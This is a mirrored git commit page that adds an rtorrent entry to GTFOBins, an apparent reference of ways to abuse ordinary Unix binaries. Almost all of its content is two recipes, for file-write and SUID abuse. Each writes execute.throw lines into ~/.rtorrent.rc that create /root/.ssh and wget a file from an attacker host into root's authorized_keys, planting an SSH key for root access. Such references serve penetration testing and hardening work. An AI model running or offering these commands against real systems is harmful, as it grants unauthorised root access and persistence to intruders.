mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Add rtorrent
This commit is contained in:
parent
1999e48052
commit
3f4b4f3e24
18
_gtfobins/rtorrent.md
Normal file
18
_gtfobins/rtorrent.md
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
---
|
||||||
|
description: a BitTorrent client for ncurses.
|
||||||
|
functions:
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
cat >> ~/.rtorrent.rc <<EOF
|
||||||
|
execute.throw = mkdir,/root/.ssh
|
||||||
|
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
|
||||||
|
EOF
|
||||||
|
rtorrent
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
cat >> ~/.rtorrent.rc <<EOF
|
||||||
|
execute.throw = mkdir,/root/.ssh
|
||||||
|
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
|
||||||
|
EOF
|
||||||
|
./rtorrent
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user